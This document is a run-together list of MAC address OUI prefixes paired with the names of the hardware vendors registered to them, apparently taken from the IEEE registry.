704E01 KWANGWON TECH CO., LTD. 848433 Paradox Engineering SA D4319D Sinwatec DC052F National Products Inc. CC398C Shiningtek 6C5F1C Lenovo Mobile Communication Technology Ltd. B42C92 Zhejiang Weirong Electronic Co., Ltd FC1349 Global Apps Corp. 8C41F2 RDA Technologies Ltd. FC07A0 LRE Medical GmbH AC02CA HI Solutions, Inc. F490CA Tensorcom 2C534A Shenzhen Winyao Electronic Limited CC856C SHENZHEN MDK DIGITAL TECHNOLOGY CO.,LTD 60FFDD C.E. ELECTRONICS, INC FCBBA1 Shenzhen Minicreate Technology Co.,Ltd 50B695 Micropoint Biotechnologies,Inc. B48547 Amptown System Company GmbH 3C25D7 Nokia Corporation 1889DF CerebrEX Inc. CC9F35 Transbit Sp. z o.o. 407875 IMBEL - Industria de Material Belico do Brasil 0C4F5A ASA-RT s.r.l. B4B542 Hubbell Power Systems, Inc. 54CDEE ShenZhen Apexis Electronic Co.,Ltd F8F005 Newport Media Inc. 98C0EB Global Regency Ltd D4224E Alcatel Lucent 28DEF6 bioMerieux Inc. 88E8F8 YONG TAI ELECTRONIC (DONGGUAN) LTD. 2C073C DEVLINE LIMITED 7CE4AA Private 1820A6 Sage Co., Ltd. BCF61C Geomodeling Wuxi Technology Co. Ltd. 083F3E WSH GmbH 6C09D6 Digiquest Electronics LTD 8C569D Imaging Solutions Group A43A69 Vers Inc 387B47 AKELA, Inc. 7CCD11 MS-Magnet 4CE1BB Zhuhai HiFocus Technology Co., Ltd. 8CDE99 Comlab Inc. B46698 Zealabs srl 283B96 Cool Control LTD 80D433 LzLabs GmbH 085AE0 Recovision Technology Co., Ltd. BCEE7B ASUSTek COMPUTER INC. FC09D8 ACTEON Group 0C1262 zte corporation 687CC8 Measurement Systems S. de R.L. F015A0 KyungDong One Co., Ltd. ECF72B HD DIGITAL TECH CO., LTD. D8B6D6 Blu Tether Limited 847207 I&C Technology E0AEB2 Bender GmbH & Co.KG 2C553C Gainspeed, Inc. B43E3B Viableware, Inc F854AF ECI Telecom Ltd. 2464EF CYG SUNRI CO.,LTD. 50B888 wi2be Tecnologia S/A B8C1A2 Dragon Path Technologies Co., Limited 50ED78 Changzhou Yongse Infotech Co.,Ltd 8CB7F7 Shenzhen UniStrong Science & Technology Co., Ltd 085240 EbV Elektronikbau- und Vertriebs GmbH 80F25E Kyynel 844F03 Ablelink Electronics Ltd 94B9B4 Aptos Technology D0B523 Bestcare Cloucal Corp. 783D5B TELNET Redes Inteligentes S.A. D0C42F Tamagawa Seiki Co.,Ltd. 5CFFFF Shenzhen Kezhonglong Optoelectronic Technology Co., Ltd F0D3A7 CobaltRay Co., Ltd 847616 Addat s.r.o. D46867 Neoventus Design Group 68692E Zycoo Co.,Ltd 38BF2F Espec Corp. 182012 Aztech Associates Inc. C0F991 GME Standard Communications P/L 14EDA5 Wächter GmbH Sicherheitssysteme E056F4 AxesNetwork Solutions inc. 385AA8 Beijing Zhongdun Security Technology Development Co. FC3FAB Henan Lanxin Technology Co., Ltd F8FF5F Shenzhen Communication Technology Co.,Ltd DCC422 Systembase Limited F4BD7C Chengdu jinshi communication Co., LTD C8F36B Yamato Scale Co.,Ltd. 6C90B1 SanLogic Inc 845C93 Chabrier Services D44C9C Shenzhen YOOBAO Technology Co.Ltd A88D7B SunDroid Global limited. A03B1B Inspire Tech 3C6E63 Mitron OY 502E5C HTC Corporation 20D21F Wincal Technology Corp. FC1E16 IPEVO corp 6C4B7F Vossloh-Schwabe Deutschland GmbH 0CCB8D ASCO Numatics GmbH 2847AA Nokia Corporation 682DDC Wuhan Changjiang Electro-Communication Equipment CO.,LTD 1C63B7 OpenProducts 237 AB A0A23C GPMS 708D09 Nokia Corporation FCE1D9 Stable Imaging Solutions LLC 38B74D Fijowave Limited A0E5E9 enimai Inc 9CBB98 Shen Zhen RND Electronic Co.,LTD 345C40 Cargt Holdings LLC 34885D Logitech Far East 6064A1 RADiflow Ltd. 8079AE ShanDong TecsunriseCo.,Ltd 2C7155 HiveMotion 909916 ELVEES NeoTek OJSC FC1BFF V-ZUG AG AC5036 Pi-Coral Inc FC019E VIEVU F45F69 Matsufu Electronics distribution Company F4A294 EAGLE WORLD DEVELOPMENT CO., LIMITED 2CCD69 Aqavi.com 947C3E Polewall Norge AS E0D1E6 Aliph dba Jawbone 28C671 Yota Devices OY DC1792 Captivate Network 7C8306 Glen Dimplex Nordic as 907A0A Gebr. Bode GmbH & Co KG 306112 PAV GmbH A0C6EC ShenZhen ANYK Technology Co.,LTD C80258 ITW GSE ApS 1001CA Ashley Butterworth 246AAB IT-IS International 28F532 ADD-Engineering BV FC4BBC Sunplus Technology Co., Ltd. 142D8B Incipio Technologies, Inc CCE8AC SOYEA Technology Co.,Ltd. 78D38D HONGKONG YUNLINK TECHNOLOGY LIMITED 1C48F9 GN Netcom A/S 744BE9 EXPLORER HYPERTECH CO.,LTD B836D8 Videoswitch F835DD Gemtek Technology Co., Ltd. 0CF019 Malgn Technology Co., Ltd. D46A91 Snap AV E8519D Yeonhab Precision Co.,LTD 00B78D Nanjing Shining Electric Automation Co., Ltd 68E166 Private 60FEF9 Thomas & Betts 78FE41 Socus networks 083571 CASwell INC. DCF755 SITRONIK ACCA8E ODA Technologies 6405BE NEW LIGHT LED E03E4A Cavanagh Group International 6CB350 Anhui comhigher tech co.,ltd A42305 Open Networking Laboratory 1C86AD MCT CO., LTD. 882364 Watchnet DVR Inc A05B21 ENVINET GmbH 50B8A2 ImTech Technologies LLC, B04C05 Fresenius Medical Care Deutschland GmbH A0EC80 zte corporation 9046B7 Vadaro Pte Ltd 1C08C1 Lg Innotek 201D03 Elatec GmbH C06C6D MagneMotion, Inc. 74CA25 Calxeda, Inc. CCBD35 Steinel GmbH 788DF7 Hitron Technologies. Inc 6CECA1 SHENZHEN CLOU ELECTRONICS CO. LTD. D862DB Eno Inc. 68DB67 Nantong Coship Electronics Co., Ltd BC261D HONG KONG TECON TECHNOLOGY 888964 GSI Electronics Inc. 9CA577 Osorno Enterprises Inc. C0C3B6 Automatic Systems A8294C Precision Optical Transceivers, Inc. D0EB03 Zhehua technology limited A0861D Chengdu Fuhuaxin Technology co.,Ltd 9498A2 Shanghai LISTEN TECH.LTD 2CB693 Radware 88685C Shenzhen ChuangDao & Perpetual Eternal Technology Co.,Ltd B4FE8C Centro Sicurezza Italia SpA D82916 Ascent Communication Technology 6472D8 GooWi Technology Co.,Limited 84ACA4 Beijing Novel Super Digital TV Technology Co., Ltd 3C6FF7 EnTek Systems, Inc. B838CA Kyokko Tsushin System CO.,LTD 380FE4 Dedicated Network Partners Oy 847A88 HTC Corporation 5461EA Zaplox AB 78324F Millennium Group, Inc. F05DC8 Duracell Powermat 48F925 Maestronic C0885B SnD Tech Co., Ltd. 64C667 Barnes&Noble C47DCC Zebra Technologies Inc 64535D Frauscher Sensortechnik 105F06 Actiontec Electronics, Inc 841715 GP Electronics (HK) Ltd. 087999 AIM GmbH 84C2E4 Jiangsu Qinheng Co., Ltd. C0B8B1 BitBox Ltd 0C722C TP-LINK TECHNOLOGIES CO.,LTD. B01408 LIGHTSPEED INTERNATIONAL CO. F8FEA8 Technico Japan Corporation A8154D TP-LINK TECHNOLOGIES CO.,LTD. D05099 ASRock Incorporation 78A106 TP-LINK TECHNOLOGIES CO.,LTD. A49EDB AutoCrib, Inc. 282CB2 TP-LINK TECHNOLOGIES CO.,LTD. D43A65 IGRS Engineering Lab Ltd. 10B9FE Lika srl D42751 Infopia Co., Ltd A895B0 Aker Subsea Ltd 5C20D0 Asoni Communication Co., Ltd. E0C3F3 zte corporation 104D77 Innovative Computer Engineering 3C081E Beijing Yupont Electric Power Technology Co.,Ltd 7CA15D GN ReSound A/S B4DD15 ControlThings Oy Ab 3C86A8 Sangshin elecom .co,, LTD FCDD55 Shenzhen WeWins wireless Co.,Ltd CC0DEC Cisco SPVTG 68B094 INESA ELECTRON CO.,LTD 40E730 DEY Storage Systems, Inc. A8D236 Lightware Visual Engineering 6C8686 Technonia 84E714 Liang Herng Enterprise,Co.Ltd. 303D08 GLINTT TES S.A. 9C541C Shenzhen My-power Technology Co.,Ltd E496AE ALTOGRAPHICS Inc. F80BD0 Datang Telecom communication terminal (Tianjin) Co., Ltd. 48B9C2 Teletics Inc. D046DC Southwest Research Institute 046E49 TaiYear Electronic Technology (Suzhou) Co., Ltd 08606E ASUSTek COMPUTER INC. BC39A6 CSUN System Technology Co.,LTD ECB541 SHINANO E and E Co.Ltd. D40057 MC Technologies GmbH 48B8DE HOMEWINS TECHNOLOGY CO.,LTD. 1065CF IQSIM 849DC5 Centera Photonics Inc. 580943 Private 547FA8 TELCO systems, s.r.o. 5474E6 Webtech Wireless AC5D10 Pace Americas 88F490 Jetmobile Pte Ltd E8A364 Signal Path International / Peachtree Audio D0D6CC Wintop 34C99D EIDOLON COMMUNICATIONS TECHNOLOGY CO. LTD. 8C4AEE GIGA TMS INC F46DE2 zte corporation 04F8C2 Flaircomm Microelectronics, Inc. 0C93FB BNS Solutions 38B5BD E.G.O. Elektro-Ger B85AF7 Ouya, Inc E0D9A2 Hippih aps F0F669 Motion Analysis Corporation F8D7BF REV Ritter GmbH 00B56D David Electronics Co., LTD. B461FF Lumigon A/S 9038DF Changzhou Tiannengbo System Co. Ltd. CC593E TOUMAZ LTD AC8D14 Smartrove Inc 18673F Hanover Displays Limited A00ABF Wieson Technologies Co., Ltd. 2091D9 I'M SPA 744D79 Arrive Systems Inc. C83D97 Nokia Corporation 38192F Nokia Corporation 141BF0 Intellimedia Systems Ltd E45614 Suttle Apparatus 842BBC Modelleisenbahn GmbH E856D6 NCTech Ltd 4088E0 Beijing Ereneben Information Technology Limited Shenzhen Branch 1CF4CA Private F490EA Deciso B.V. 942197 Stalmart Technology Limited AC9403 Envision Peripherals Inc A865B2 DONGGUAN YISHANG ELECTRONIC TECHNOLOGY CO., LIMITED 60B982 RO.VE.R. Laboratories S.p.A. B46238 Exablox 40704A Power Idea Technology Limited A40BED Carry Technology Co.,Ltd 0CD996 Cisco Systems, Inc D82DE1 Tricascade Inc. C438D3 TAGATEC CO.,LTD 547398 Toyo Electronics Corporation E0AAB0 GENERAL VISION ELECTRONICS CO. LTD. 68B43A WaterFurnace International, Inc. 543968 Edgewater Networks Inc 985E1B ConversDigital Co., Ltd. B8B7D7 2GIG Technologies 1048B1 Beijing Duokan Technology Limited 005D03 Xilinx, Inc 24EE3A Chengdu Yingji Electronic Hi-tech Co Ltd F82285 Cypress Technology CO., LTD. 8482F4 Beijing Huasun Unicreate Technology Co., Ltd 0CC47E EUCAST Co., Ltd. CCE798 My Social Stuff 50724D BEG Brueck Electronic GmbH B898B0 Atlona Inc. 2C625A Finest Security Systems Co., Ltd 2074CF Shenzhen Voxtech Co.,Ltd ACBD0B IMAC CO.,LTD D8D27C JEMA ENERGY, SA 10F3DB Gridco Systems, Inc. B01203 Dynamics Hong Kong Limited 7093F8 Space Monkey, Inc. 305D38 Beissbarth 044A50 Ramaxel Technology (Shenzhen) limited company A4466B EOC Technology 3CF392 Virtualtek. Co. Ltd 889676 TTC MARCONI s.r.o. 149FE8 Lenovo Mobile Communication Technology Ltd. 70B599 Embedded Technologies s.r.o. EC4C4D ZAO NPK RoTeK E8D483 ULTIMATE Europe Transportation Equipment GmbH ACD9D6 tci GmbH 7493A4 Zebra Technologies Corp. 9C0DAC Tymphany HK Limited 8CD3A2 VisSim AS 647657 Innovative Security Designs 60455E Liptel s.r.o. 944A09 BitWise Controls E8102E Really Simple Software, Inc D48CB5 Cisco Systems, Inc D41E35 TOHO Electronics INC. 700BC0 Dewav Technology Company 2CD444 FUJITSU LIMITED EC1A59 Belkin International Inc. 60CBFB AirScape Inc. 4C5427 Linepro Sp. z o.o. 3CEAFB NSE AG 3476C5 I-O DATA DEVICE, INC. 407074 Life Technology (China) Co., Ltd 58BFEA Cisco Systems, Inc 7C386C Real Time Logic D8AF3B Hangzhou Bigbright Integrated communications system Co.,Ltd 78D34F Pace-O-Matic, Inc. 784405 FUJITU(HONG KONG) ELECTRONIC Co.,LTD. C03F2A Biscotti, Inc. 44B382 Kuang-chi Institute of Advanced Technology D80DE3 FXI TECHNOLOGIES AS 1CE165 Marshal Corporation 0CC0C0 MAGNETI MARELLI SISTEMAS ELECTRONICOS MEXICO AC40EA C&T Solution Inc. BC8B55 NPP ELIKS America Inc. DBA T&M Atlantic 202598 Teleview 844915 vArmour Networks, Inc. A04CC1 Helixtech Corp. 1CB243 TDC A/S 1C51B5 Techaya LTD 80DB31 Power Quotient International Co., Ltd. AC0142 Uriel Technologies SIA A007B6 Advanced Technical Support, Inc. 542A9C LSY Defense, LLC. F89955 Fortress Technology Inc B827EB Raspberry Pi Foundation E88DF5 ZNYX Networks, Inc. 48EA63 Zhejiang Uniview Technologies Co., Ltd. 0CE5D3 DH electronics GmbH C47130 Fon Technology S.L. 48D7FF BLANKOM Antennentechnik GmbH F47F35 Cisco Systems, Inc A0F419 Nokia Corporation BCC168 DinBox Sverige AB 6CAE8B IBM Corporation A4F7D0 LAN Accessories Co., Ltd. D4EC0C Harley-Davidson Motor Company 6CA96F TransPacket AS 48ED80 daesung eltec A086EC SAEHAN HITEC Co., Ltd BC4B79 SensingTek 2818FD Aditya Infotech Ltd. E42C56 Lilee Systems, Ltd. 50008C Hong Kong Telecommunications (HKT) Limited DCA8CF New Spin Golf, LLC. 34BA9A Asiatelco Technologies Co. 642DB7 SEUNGIL ELECTRONICS 008DDA Link One Co., Ltd. 08B4CF Abicom International 445F7A Shihlin Electric & Engineering Corp. 28BA18 NextNav, LLC 2C36F8 Cisco Systems, Inc AC3D05 Instorescreen Aisa F48E09 Nokia Corporation D443A8 Changzhou Haojie Electric Co., Ltd. BCB852 Cybera, Inc. 70D6B6 Metrum Technologies 28D576 Premier Wireless, Inc. 6CE907 Nokia Corporation 94DF58 IJ Electron CO.,Ltd. 8C0CA3 Amper 28940F Cisco Systems, Inc 5CEB4E R. STAHL HMI Systems GmbH B8DAF7 Advanced Photonics, Inc. 2C36A0 Capisco Limited 800A06 COMTEC co.,ltd 20FABB Cambridge Executive Limited 1C0B52 EPICOM S.A 747E2D Beijing Thomson CITIC Digital Technology Co. LTD. E80C75 Syncbak, Inc. 18D66A Inmarsat C85645 Intermas France 8C604F Cisco Systems, Inc 74FF7D Wren Sound Systems, LLC 34FC6F ALCEA C0B357 Yoshiki Electronics Industry Ltd. D8BF4C Victory Concept Electronics Limited C0DF77 Conrad Electronic SE C86000 ASUSTek COMPUTER INC. 645299 The Chamberlain Group, Inc BC125E BeijingWisVideoINC. C80718 TDSi B4944E WeTelecom Co., Ltd. 345B11 EVI HEAT AB 988BAD Corintech Ltd. 4050E0 Milton Security Group LLC C87CBC Valink Co., Ltd. 409FC7 BAEKCHUN I&C Co., Ltd. C87D77 Shenzhen Kingtech Communication Equipment Co.,Ltd A078BA Pantech Co., Ltd. D4507A CEIVA Logic, Inc 9CC7D1 SHARP Corporation 00B9F6 Shenzhen Super Rich Electronics Co.,Ltd 9C5C8D FIREMAX INDÚSTRIA E COMÉRCIO DE PRODUTOS ELETRÔNICOSLTDA E01E07 Anite TelecomsUS. Inc B06CBF 3ality Digital Systems GmbH 20AA4B Cisco-Linksys, LLC 080D84 GECO, Inc. 88E712 Whirlpool Corporation 644BF0 CalDigit, Inc 2838CF Gen2wave 50FC30 Treehouse Labs 70704C Purple Communications, Inc F47ACC SolidFire, Inc. 24BC82 Dali Wireless, Inc. 64C5AA South African Broadcasting Corporation 64ED62 WOORI SYSTEMS Co., Ltd C4237A WhizNets Inc. 8430E5 SkyHawke Technologies, LLC 2C002C UNOWHY 0481AE Clack Corporation C09132 Patriot Memory A898C6 Shinbo Co., Ltd. 006BA0 SHENZHEN UNIVERSAL INTELLISYS PTE LTD 502690 FUJITSU LIMITED B4211D Beijing GuangXin Technology Co., Ltd E039D7 Plexxi, Inc. FC946C UBIVELOX 38DE60 Mohlenhoff GmbH 2839E7 Preceno Technology Pte.Ltd. 28D997 Yuduan Mobile Co., Ltd. 886B76 CHINA HOPEFUL GROUP HOPEFUL ELECTRIC CO.,LTD A0CF5B Cisco Systems, Inc 18C451 Tucson Embedded Systems 582EFE Lighting Science Group F8D3A9 AXAN Networks 5CD4AB Zektor F8462D SYNTEC Incorporation 58677F Clare Controls Inc. CCA374 Guangdong Guanglian Electronic Technology Co.Ltd 50F61A Kunshan JADE Technologies co., Ltd. 20BBC6 Jabil Circuit Hungary Ltd. 2C9717 I.C.Y. B.V. 64E84F Serialway Communication Technology Co. Ltd 941D1C TLab West Systems AB 40667A mediola - connected living AG 64808B VG Controls, Inc. 7C6B52 Tigaro Wireless 046D42 Bryston Ltd. D0CF5E Energy Micro AS 644D70 dSPACE GmbH 807693 Newag SA FC1794 InterCreative Co., Ltd 181420 TEB SAS D03110 Ingenic Semiconductor Co.,Ltd AC81F3 Nokia Corporation 94C6EB NOVA electronics, Inc. 10F9EE Nokia Corporation 80971B Altenergy Power System,Inc. 1071F9 Cloud Telecomputers, LLC C47B2F Beijing JoinHope Image Technology Ltd. 18F650 Multimedia Pacific Limited 704AAE Xstream Flow (Pty) Ltd 9C934E Xerox Corporation 3C26D5 Sotera Wireless FC2E2D Lorom Industrial Co.LTD. E84E06 EDUP INTERNATIONAL (HK) CO., LTD E8C320 Austco Communication Systems Pty Ltd D8973B Artesyn Embedded Technologies 008D4E CJSC NII STT 10C586 BIO SOUND LAB CO., LTD. E8BA70 Cisco Systems, Inc 6473E2 Arbiter Systems, Inc. 00A1DE ShenZhen ShiHua Technology CO.,LTD 04E1C8 IMS Soluções em Energia Ltda. E4DD79 En-Vision America, Inc. 60190C RRAMAC 34A709 Trevil srl F80332 Khomp C40F09 Hermes electronic GmbH 908D1D GH Technologies CCB55A Fraunhofer ITWM 587521 CJSC RTSoft 64D989 Cisco Systems, Inc 44D3CA Cisco Systems, Inc 24DAB6 Sistemas de Gestión Energética S.A. de C.V B8F5E7 WayTools, LLC 148A70 ADS GmbH FC0012 Toshiba Samsung Storage Technolgoy Korea Corporation F44450 BND Co., Ltd. 644346 GuangDong Quick Network Computer CO.,LTD FCE892 Hangzhou Lancable Technology Co.,Ltd B8B42E Gionee Communication Equipment Co,Ltd.ShenZhen A84041 Dragino Technology Co., Limited DCF05D Letta Teknoloji D05A0F I-BT DIGITAL CO.,LTD 7CDD20 IOXOS Technologies S.A. A0E9DB Ningbo FreeWings Technologies Co.,Ltd 9C7BD2 NEOLAB Convergence 900D66 Digimore Electronics Co., Ltd 48C862 Simo Wireless,Inc. 0CF3EE EM Microelectronic F0C27C Mianyang Netop Telecom Equipment Co.,Ltd. BC35E5 Hydro Systems Company 283410 Enigma Diagnostics Limited 28CCFF Corporacion Empresarial Altra SL 14B73D ARCHEAN Technologies A433D1 Fibrlink Communications Co.,Ltd. 84DE3D Crystal Vision Ltd B4AA4D Ensequence, Inc. 040A83 Alcatel-Lucent B42A39 ORBIT MERRET, spol. s r. o. 18AEBB Siemens Convergence Creators GmbH&Co.KG 3891FB Xenox Holding BV 50FAAB L-tek d.o.o. A8E018 Nokia Corporation 44AAE8 Nanotec Electronic GmbH & Co. KG D8DF0D beroNet GmbH D8C068 Netgenetech.co.,ltd. 50E549 GIGA-BYTE TECHNOLOGY CO.,LTD. A8FCB7 Consolidated Resource Imaging F87B8C Amped Wireless 44D2CA Anvia TV Oy 4C1A3A PRIMA Research And Production Enterprise Ltd. AC0613 Senselogix Ltd CCF67A Ayecka Communication Systems LTD 00BB8E HME Co., Ltd. C0A26D Abbott Point of Care 205B2A Private F8769B Neopis Co., Ltd. 08E672 JEBSEE ELECTRONICS CO.,LTD. 58E476 CENTRON COMMUNICATIONS TECHNOLOGIES FUJIAN CO.,LTD B435F7 Zhejiang Pearmain Electronics Co.ltd. 0C6E4F PrimeVOLT Co., Ltd. 685B36 POWERTECH INDUSTRIAL CO., LTD. 983000 Beijing KEMACOM Technologies Co., Ltd. F81D93 Longdhua(Beijing) Controls Technology Co.,Ltd D0EB9E Seowoo Inc. 8C5FDF Beijing Railway Signal Factory 586D8F Cisco-Linksys, LLC 14C21D Sabtech Industries 74B00C Network Video Technologies, Inc C88439 Sunrise Technologies 44E4D9 Cisco Systems, Inc 0054AF Continental Automotive Systems Inc. EC7D9D MEI 9C95F8 SmartDoor Systems, LLC D075BE Reno A&E 7C6C39 PIXSYS SRL 9C5D95 VTC Electronics Corp. DC05ED NabtescoCorporation FC8329 Trei technics 94E848 FYLDE MICRO LTD AC5E8C Utillink BC99BC FonSee Technology Inc. 986022 EMW Co., Ltd. 803457 OT Systems Limited B83D4E Shenzhen Cultraview Digital Technology Co.,Ltd Shanghai Branch CCF3A5 Chi Mei Communication Systems, Inc C4242E Galvanic Applied Sciences Inc 6400F1 Cisco Systems, Inc 04C5A4 Cisco Systems, Inc 3CA72B MRV Communications (Networks) LTD 584C19 Chongqing Guohong Technology Development Company Limited D0A311 Neuberger Gebäudeautomation GmbH 10A13B FUJIKURA RUBBER LTD. F4E142 Delta Elektronika BV F00248 SmarteBuilding 2CDD0C Discovergy GmbH 40B2C8 Nortel Networks 486B91 Fleetwood Group Inc. F43814 Shanghai Howell Electronic Co.,Ltd 20AA25 IP-NET LLC ECBBAE Digivoice Tecnologia em Eletronica Ltda DC2008 ASD Electronics Ltd 088DC8 Ryowa Electronics Co.,Ltd D491AF Electroacustica General Iberica, S.A. 1CDF0F Cisco Systems, Inc 34DF2A Fujikon Industrial Co.,Limited C88447 Beautiful Enterprise Co., Ltd C88B47 Nolangroup S.P.A con Socio Unico 24BA30 Technical Consumer Products, Inc. 74D675 WYMA Tecnologia D01CBB Beijing Ctimes Digital Technology Co., Ltd. 9481A4 Azuray Technologies BCE09D Eoslink 346F92 White Rodgers Division 8CDB25 ESG Solutions 641A22 Heliospectra AB 30142D Piciorgros GmbH E441E6 Ottec Technology GmbH 10E2D5 Qi Hardware Inc. 7CDA84 Dongnian Networks Inc. A036FA Ettus Research LLC EC836C RM Tech Co., Ltd. 6083B2 GkWare e.K. 80D019 Embed, Inc D41296 Anobit Technologies Ltd. B8FF6F Shanghai Typrotech Technology Co.Ltd DC9C52 Sapphire Technology Limited. 68122D Special Instrument Development Co., Ltd. 649B24 V Technology Co., Ltd. 0475F5 CSST BC20BA Inspur (Shandong) Electronic Information Co., Ltd 249442 OPEN ROAD SOLUTIONS , INC. E0F379 Vaddio B09AE2 STEMMER IMAGING GmbH CCD811 Aiconn Technology Corporation 78D004 Neousys Technology Inc. 78A051 iiNet Labs Pty Ltd 58A76F iD corporation 44599F Criticare Systems, Inc 3C2F3A SFORZATO Corp. EC9233 Eddyfi NDT Inc ECE90B SISTEMA SOLUCOES ELETRONICAS LTDA - EASYTECH A08C9B Xtreme Technologies Corp 607688 Velodyne 980EE4 Private E828D5 Cots Technology 08D5C0 Seers Technology Co., Ltd 8CB64F Cisco Systems, Inc 6C33A9 Magicjack LP 08B7EC Wireless Seismic BC71C1 XTrillion, Inc. 0C469D MS Sedco E0E8E8 Olive Telecommunication Pvt. Ltd 0C3C65 Dome Imaging Inc 942053 Nokia Corporation D49C8E University of FUKUI 2CB0DF Soliton Technologies Pvt Ltd 5CF3FC IBM Corp D43D67 Carma Industries Inc. 00BD27 Exar Corp. C8A729 SYStronics Co., Ltd. 6C9CE9 Nimble Storage 700258 01DB-METRAVIB 20FDF1 3COM EUROPE LTD 389592 Beijing Tendyron Corporation 705EAA Action Target, Inc. 0C8D98 TOP EIGHT IND CORP 30493B Nanjing Z-Com Wireless Co.,Ltd 68DB96 OPWILL Technologies CO .,LTD 00F860 PT. Panggung Electric Citrabuana FCEDB9 Arrayent 44ED57 Longicorn, inc. C8A1B6 Shenzhen Longway Technologies Co., Ltd 641E81 Dowslake Microsystems 88ACC1 Generiton Co., Ltd. 785712 Mobile Integration Workgroup 380A0A Sky-City Communication and Electronics Limited Company 141BBD Volex Inc. 78C6BB Innovasic, Inc. DC4EDE SHINYEI TECHNOLOGY CO., LTD. 888B5D Storage Appliance Corporation F0F842 KEEBOX, Inc. 78A714 Amphenol F450EB Telechips Inc 988EDD TE Connectivity Limerick 98FC11 Cisco-Linksys, LLC 180C77 Westinghouse Electric Company, LLC ACA016 Cisco Systems, Inc E4AD7D SCL Elements 40D40E Biodata Ltd 7C051E RAFAEL LTD. 58570D Danfoss Solar Inverters 0C826A Wuhan Huagong Genuine Optics Technology Co., Ltd 38C7BA CS Services Co.,Ltd. 70D57E Scalar Corporation 7866AE ZTEC Instruments, Inc. 78818F Server Racks Australia Pty Ltd E0589E Laerdal Medical 44D63D Talari Networks 58FD20 Bravida Sakerhet AB 9835B8 Assembled Products Corporation 240B2A Viettel Group 68E41F Unglaube Identech GmbH 84F64C Cross Point BV 90513F Elettronica Santerno SpA 7CA29B D.SignT GmbH & Co. KG 34AAEE Mikrovisatos Servisas UAB A40CC3 Cisco Systems, Inc 34E0D7 DONGGUAN QISHENG ELECTRONICS INDUSTRIAL CO., LTD 40520D Pico Technology 543131 Raster Vision Ltd 90E0F0 IEEE 1722a Working Group 1C6F65 GIGA-BYTE TECHNOLOGY CO.,LTD. F0AD4E Globalscale Technologies, Inc. 903D5A Shenzhen Wision Technology Holding Limited 609AA4 GVI SECURITY INC. F0ED1E Bilkon Bilgisayar Kontrollu Cih. Im.Ltd. 24A937 PURE Storage 348302 iFORCOM Co., Ltd 949C55 Alta Data Technologies 389F83 OTN Systems N.V. 8C541D LGE 003A9D NEC Platforms, Ltd. 905446 TES ELECTRONIC SOLUTIONS DC7B94 Cisco Systems, Inc 68234B Nihon Dengyo Kousaku 18422F Alcatel Lucent A4BE61 EutroVision System, Inc. E06290 Jinan Jovision Science & Technology Co., Ltd. A01859 Shenzhen Yidashi Electronics Co Ltd 042234 Wireless Standard Extensions 7812B8 ORANTEK LIMITED F0B6EB Poslab Technology Co., Ltd. FCCCE4 Ascon Ltd. 34862A Heinz Lackmann GmbH & Co KG 842141 Shenzhen Ginwave Technologies Ltd. B4ED54 Wohler Technologies 544249 Sony Corporation 24DBAD ShopperTrak RCT Corporation CC69B0 Global Traffic Technologies, LLC 2872C5 Smartmatic Corp B8A3E0 BenRui Technology Co.,Ltd B8F732 Aryaka Networks Inc 70828E OleumTech Corporation 502A7E Smart electronic GmbH F0264C Dr. Sigrist AG 3C1CBE JADAK LLC A8995C aizo ag F445ED Portable Innovation Technology Ltd. 6C32DE Indieon Technologies Pvt. Ltd. FCCF62 IBM Corp B09074 Fulan Electronics Limited 2CA835 RIM 94F692 Geminico co.,Ltd. 8C736E FUJITSU LIMITED 30EFD1 Alstom Strongwish (Shenzhen) Co., Ltd. C835B8 Ericsson, EAB/RWI/K 243C20 Dynamode Group 70D5E7 Wellcore Corporation 3CF72A Nokia Corporation FCE192 Sichuan Jinwangtong Electronic Science&Technology Co,.Ltd F8912A GLP German Light Products GmbH E02630 Intrigue Technologies, Inc. 8C9236 Aus.Linx Technology Co., Ltd. 4012E4 Compass-EOS F8DC7A Variscite LTD 003A9C Cisco Systems, Inc E8E776 Shenzhen Kootion Technology Co., Ltd 702F97 Aava Mobile Oy 9018AE Shanghai Meridian Technologies, Co. Ltd. 0494A1 CATCH THE WIND INC 2C3427 ERCO & GENER B42CBE Direct Payment Solutions Limited F47626 Viltechmeda UAB EC4476 Cisco Systems, Inc 9CEBE8 BizLink (Kunshan) Co.,Ltd 88ED1C Cudo Communication Co., Ltd. B05B1F THERMO FISHER SCIENTIFIC S.P.A. 743256 NT-ware Systemprg GmbH 003AAF BlueBit Ltd. C0BAE6 Application Solutions (Electronics and Vision) Ltd 20BFDB DVL 889821 TERAON CC5076 Ocom Communications, Inc. 7C2CF3 Secure Electrans Ltd 304174 ALTEC LANSING LLC 7830E1 UltraClenz, LLC FCFBFB Cisco Systems, Inc 1C129D IEEE PES PSRC/SUB B40832 TC Communications 002720 NEW-SOL COM 002712 MaxVision LLC 00270F Envisionnovation Inc 0026D7 KM Electornic Technology Co., Ltd. 0026D1 S Squared Innovations Inc. 0026CB Cisco Systems, Inc 0026C4 Cadmos microsystems S.r.l. 0026BE Schoonderbeek Elektronica Systemen B.V. 0026B2 Setrix GmbH 0026AC Shanghai LUSTER Teraband photonic Co., Ltd. 0026B1 Navis Auto Motive Systems, Inc. 0026A7 CONNECT SRL 0026A1 Megger 0026A2 Instrumentation Technology Systems 00269B SOKRAT Ltd. 002695 ZT Group Int'l Inc 00268F MTA SpA 6C8CDB Otus Technologies Ltd 401597 Protect America, Inc. 60391F ABB Ltd A07332 Cashmaster International Limited 7C7BE4 Z'SEDAI KENKYUSHO CORPORATION 40EF4C Fihonest communication co.,Ltd 24CF21 Shenzhen State Micro Technology Co., Ltd 04B3B6 Seamap (UK) Ltd 10BAA5 GANA I&C CO., LTD 586ED6 Private E09153 XAVi Technologies Corp. CC0080 BETTINI SRL 644BC3 Shanghai WOASiS Telecommunications Ltd., Co. 0CE709 Fox Crypto B.V. 002703 Testech Electronics Pte Ltd 0026FD Interactive Intelligence 0026F6 Military Communication Institute 0026F0 cTrixs International GmbH. 0026EA Cheerchip Electronic Technology (ShangHai) Co., Ltd. 0026E3 DTI 0026DD Fival Science & Technology Co.,Ltd. 0026DE FDI MATELEC 54B620 SUHDOL E&C Co.Ltd. C4AAA1 SUMMIT DEVELOPMENT, spol.s r.o. 78C40E H&D Wireless 9C5B96 NMR Corporation E4FFDD ELECTRON INDIA F852DF VNL Europe AB 1CF061 SCAPS GmbH A893E6 JIANGXI JINGGANGSHAN CKING COMMUNICATION TECHNOLOGY CO.,LTD 00267C Metz-Werke GmbH & Co KG 002676 COMMidt AS 00266F Coordiwise Technology Corp. 002670 Cinch Connectors 002663 Shenzhen Huitaiwei Tech. Ltd, co. 0025CD Skylane Optics 0025C8 S-Access GmbH 